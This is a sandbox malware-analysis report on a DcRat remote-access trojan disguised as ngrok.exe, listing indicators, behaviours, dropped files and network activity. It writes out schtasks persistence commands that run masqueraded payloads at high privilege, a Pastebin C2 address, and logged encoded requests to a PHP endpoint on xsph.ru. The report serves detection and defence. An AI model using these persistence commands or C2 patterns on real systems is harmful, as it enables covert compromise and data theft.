File name:

ngrok.exe

Full analysis: https://app.any.run/tasks/18bd4182-fff6-4288-9c57-866b03b27e4d
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: November 15, 2023, 11:35:55
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
loader
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

FE537DF2FB1AFF9D5A5C60677B7CA308

SHA1:

8FEDF940F54CE8A8A92F1FA5D40C638DE1D01F1D

SHA256:

4D7DF426458DC72E071039C9F9822B9FFA4AE5D5D714AF7115C34F111231A70C

SSDEEP:

98304:m/Zqc7ZStSEvebOYpobhCqKH/PpQ/76tgzYhCX5Kemq5oLWKTcVwIry/PPGR+rwt:0n2y2peN8FP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Creates a writable file the system directory

      • ngrok.exe (PID: 3884)

    • Drops the executable file immediately after the start

      • ngrok.exe (PID: 3884)
      • DaemonTools.exe (PID: 3840)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 3744)

    • Actions looks like stealing of personal data

      • explorer.exe (PID: 908)

    • Connects to the CnC server

      • explorer.exe (PID: 908)

    • DCRAT has been detected (SURICATA)

      • explorer.exe (PID: 908)

    • DCRAT has been detected (YARA)

      • explorer.exe (PID: 908)

  • SUSPICIOUS

    • Reads the Internet Settings

      • DaemonTools.exe (PID: 3840)
      • wscript.exe (PID: 3744)
      • ngrok.exe (PID: 3884)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3744)
      • bridgewin.exe (PID: 2064)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3744)

    • The process creates files with name similar to system file names

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)

    • Executed via WMI

      • schtasks.exe (PID: 1576)
      • schtasks.exe (PID: 1528)
      • schtasks.exe (PID: 1760)
      • schtasks.exe (PID: 3600)
      • schtasks.exe (PID: 2376)
      • schtasks.exe (PID: 3700)
      • schtasks.exe (PID: 528)
      • schtasks.exe (PID: 1852)
      • schtasks.exe (PID: 984)
      • schtasks.exe (PID: 1616)
      • schtasks.exe (PID: 1860)
      • schtasks.exe (PID: 556)
      • schtasks.exe (PID: 1840)
      • schtasks.exe (PID: 148)
      • schtasks.exe (PID: 1640)
      • schtasks.exe (PID: 2084)
      • schtasks.exe (PID: 1560)
      • schtasks.exe (PID: 712)
      • schtasks.exe (PID: 2316)
      • schtasks.exe (PID: 2336)
      • schtasks.exe (PID: 1592)
      • schtasks.exe (PID: 2644)
      • schtasks.exe (PID: 2780)
      • schtasks.exe (PID: 2136)
      • schtasks.exe (PID: 3476)
      • schtasks.exe (PID: 2076)
      • schtasks.exe (PID: 1828)
      • schtasks.exe (PID: 2620)
      • schtasks.exe (PID: 2784)
      • schtasks.exe (PID: 120)
      • schtasks.exe (PID: 2412)
      • schtasks.exe (PID: 1068)
      • schtasks.exe (PID: 2396)
      • schtasks.exe (PID: 280)
      • schtasks.exe (PID: 2832)
      • schtasks.exe (PID: 856)
      • schtasks.exe (PID: 2860)
      • schtasks.exe (PID: 2612)
      • schtasks.exe (PID: 2692)
      • schtasks.exe (PID: 2460)
      • schtasks.exe (PID: 2944)
      • schtasks.exe (PID: 844)
      • schtasks.exe (PID: 3228)
      • schtasks.exe (PID: 3372)
      • schtasks.exe (PID: 3196)
      • schtasks.exe (PID: 3612)
      • schtasks.exe (PID: 2812)
      • schtasks.exe (PID: 3164)
      • schtasks.exe (PID: 3864)
      • schtasks.exe (PID: 2896)
      • schtasks.exe (PID: 3444)
      • schtasks.exe (PID: 3888)
      • schtasks.exe (PID: 3764)
      • schtasks.exe (PID: 3748)
      • schtasks.exe (PID: 4008)
      • schtasks.exe (PID: 3604)
      • schtasks.exe (PID: 3904)
      • schtasks.exe (PID: 3660)
      • schtasks.exe (PID: 3020)
      • schtasks.exe (PID: 3236)
      • schtasks.exe (PID: 3908)
      • schtasks.exe (PID: 4000)
      • schtasks.exe (PID: 3940)
      • schtasks.exe (PID: 3976)
      • schtasks.exe (PID: 3396)
      • schtasks.exe (PID: 3744)
      • schtasks.exe (PID: 3328)
      • schtasks.exe (PID: 3388)
      • schtasks.exe (PID: 3472)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3744)
      • bridgewin.exe (PID: 2064)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 2920)

    • Starts itself from another location

      • bridgewin.exe (PID: 3032)

    • Reads settings of System Certificates

      • explorer.exe (PID: 908)

    • The process executes via Task Scheduler

      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

  • INFO

    • Checks supported languages

      • ngrok.exe (PID: 3440)
      • DaemonTools.exe (PID: 3840)
      • ngrok.exe (PID: 3884)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • explorer.exe (PID: 2540)
      • wmpnscfg.exe (PID: 684)
      • taskhost.exe (PID: 1420)

    • Create files in a temporary directory

      • ngrok.exe (PID: 3440)
      • ngrok.exe (PID: 3884)
      • bridgewin.exe (PID: 2064)

    • Reads the machine GUID from the registry

      • ngrok.exe (PID: 3440)
      • ngrok.exe (PID: 3884)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • wmpnscfg.exe (PID: 684)
      • taskhost.exe (PID: 1420)
      • explorer.exe (PID: 2540)

    • Reads the computer name

      • ngrok.exe (PID: 3440)
      • ngrok.exe (PID: 3884)
      • bridgewin.exe (PID: 2064)
      • DaemonTools.exe (PID: 3840)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • wmpnscfg.exe (PID: 684)
      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

    • Manual execution by a user

      • ngrok.exe (PID: 3884)
      • wmpnscfg.exe (PID: 684)

    • Reads Environment values

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

    • Reads product name

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • taskhost.exe (PID: 1420)
      • explorer.exe (PID: 2540)

    • Creates files in the program directory

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(908) explorer.exe
C2 (1)https://pastebin.com/raw/F7sGWfsZ
Options
MutexDCR_MUTEX-1sOjNc2ahksm7xLessXi
searchpath%UsersFolder% - Fast
Targetals
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ 4.x (75)
.exe | Win64 Executable (generic) (15.3)
.dll | Win32 Dynamic Link Library (generic) (3.6)
.exe | Win32 Executable (generic) (2.5)
.exe | Win16/32 Executable Delphi generic (1.1)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2013:06:15 18:44:28+02:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 5.12
CodeSize: 3584
InitializedDataSize: 2380800
UninitializedDataSize: -
EntryPoint: 0x1ae1
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
125
Monitored processes
84
Malicious processes
9
Suspicious processes
2

Behavior graph

Click at the process to see the details
start ngrok.exe no specs PhotoViewer.dll no specs ngrok.exe daemontools.exe no specs PhotoViewer.dll no specs wscript.exe no specs cmd.exe no specs bridgewin.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs w32tm.exe no specs bridgewin.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT explorer.exe wmpnscfg.exe no specs taskhost.exe no specs explorer.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
120schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\System.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
148schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\MSOCache\All Users\winlogon.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
280schtasks.exe /create /tn "bridgewinb" /sc MINUTE /mo 12 /tr "'C:\Program Files\CCleaner\LOG\bridgewin.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
528schtasks.exe /create /tn "bridgewinb" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-001B-0410-0000-0000000FF1CE}-C\bridgewin.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
556schtasks.exe /create /tn "IMEDICTUPDATEI" /sc MINUTE /mo 10 /tr "'C:\webdriverintoBroker\IMEDICTUPDATE.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
684"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\ole32.dll
712schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\webdriverintoBroker\services.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
844schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\webdriverintoBroker\services.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
856schtasks.exe /create /tn "IMEDICTUPDATEI" /sc MINUTE /mo 10 /tr "'C:\Windows\Logs\CBS\IMEDICTUPDATE.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
908"C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\explorer.exe" C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\explorer.exe
bridgewin.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
DcRat
(PID) Process(908) explorer.exe
C2 (1)https://pastebin.com/raw/F7sGWfsZ
Options
MutexDCR_MUTEX-1sOjNc2ahksm7xLessXi
searchpath%UsersFolder% - Fast
Targetals
Total events
8 583
Read events
8 467
Write events
113
Delete events
3

Modification events

(PID) Process:(3440) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
Explorer.EXE
(PID) Process:(3140) dllhost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
ngrok.exe
(PID) Process:(3884) ngrok.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\17A\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
DllHost.exe
(PID) Process:(3940) dllhost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
ngrok.exe
(PID) Process:(3840) DaemonTools.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
24
Suspicious files
1
Text files
25
Unknown types
0

Dropped files

PID
Process
Filename
Type
2064bridgewin.exeC:\MSOCache\All Users\e8aa3d0a77e909text
MD5:2054A1F4751464AD7D89311E01F2A326
SHA256:B8375CD852C0AA5017D6386EBFA7979725AA5D9E6A95F8CC15BA9823FF7E2B40
2064bridgewin.exeC:\MSOCache\All Users\winlogon.exeexecutable
MD5:C098039E0BB92FE32E1CE350768766D7
SHA256:89B656F4420609E3C3C5BFE7796955BD31F72C0BCEDEDEB028C0ED2761386343
3840DaemonTools.exeC:\webdriverintoBroker\bridgewin.exeexecutable
MD5:C098039E0BB92FE32E1CE350768766D7
SHA256:89B656F4420609E3C3C5BFE7796955BD31F72C0BCEDEDEB028C0ED2761386343
3440ngrok.exeC:\Users\admin\AppData\Local\Temp\97ad994e47ff3c6d28a2df231f99b7c1.jpgimage
MD5:07F22F1F8763B9A967DC029CC0ED106A
SHA256:74F532270DB3BCAF03230B0AF523F0EC5CADEB0B199F063E55107EB35076FBCF
2064bridgewin.exeC:\webdriverintoBroker\services.exeexecutable
MD5:C098039E0BB92FE32E1CE350768766D7
SHA256:89B656F4420609E3C3C5BFE7796955BD31F72C0BCEDEDEB028C0ED2761386343
3840DaemonTools.exeC:\webdriverintoBroker\7BxrpCifTZWFp0szH.battext
MD5:A34E5C947072621CEFF156DB1E521A3F
SHA256:0FBE2ACF3C0C14B48E982FC72C86C9963467F259ABB3C407C906CBD9456E78CD
2064bridgewin.exeC:\webdriverintoBroker\1173b9a28a9c10text
MD5:FAC184ED4FA29E2AA41604BB71DF392C
SHA256:C81D16B0FF75083F45B65964095976B4A75F34A4528634DC2028A62EFF2595AD
2064bridgewin.exeC:\Program Files\Mozilla Firefox\uninstall\69ddcba757bf72text
MD5:6EACEBDE387D09FAEAEFF97CDE2572BF
SHA256:DBFC3C6DE60B6A4EA24D3C4A51BB5BA7C4AF3230B9C69D2B4C6B155AB669B239
2064bridgewin.exeC:\MSOCache\All Users\{90140000-001B-0410-0000-0000000FF1CE}-C\314da672bf7273text
MD5:53BE36A6C22181E9B2883F771F99FC22
SHA256:4B742B9D4B2EC00BFBE05D79444B322CA5C3D0AE411C4EB3C6E186AC1D2D69AF
2064bridgewin.exeC:\MSOCache\All Users\cc11b995f2a76dtext
MD5:F25710DFC24F8A55DB2C06AC2132EA7F
SHA256:4205E9204826DCC042CA78F29339683F19B3D55FC295C3CC13A8E96F1ADA4083
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
153
TCP/UDP connections
11
DNS requests
2
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI0gTNlV2MiBzMyUmYyQjNycTZiNmZwYDNwQWY3YzY1YTZyE2YxQ2N3IiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
—
—
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?D7wwNRrnD37n=EQ9FAVb0MR1ssuaX704&JKlfnHiVt6jAosksYU8nMg0p5EehR=GDDrb3pdc&e910905a712fae42cdfa28221510f19d=b2b0504ab029d53ee1d4635e5af551da&264710504478b89f5a5ae5da2e5670ef=gNmRzYzkjYlNjZwQTM2YDNhN2M5kjM2AjNzUGNhZzY1U2N3E2NxATY&D7wwNRrnD37n=EQ9FAVb0MR1ssuaX704&JKlfnHiVt6jAosksYU8nMg0p5EehR=GDDrb3pdc
unknown
text
2.09 Kb
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&4478549403ad7f9944a7a7af6cdbb603=d1nIwYkWsJlbjhmUzM2Z0cVYuZFSiFlQTx0ZwUVUnFFVOZTW61kNFRVTn1kaNdXS6xUMFpHT4VkeXJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiIyMGNyQGOkJGZiFWY3UTM0QWOxQjN3IjY0cjZ4I2MkJTZzEWNlBTNxIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
2.09 Kb
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJBTTqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
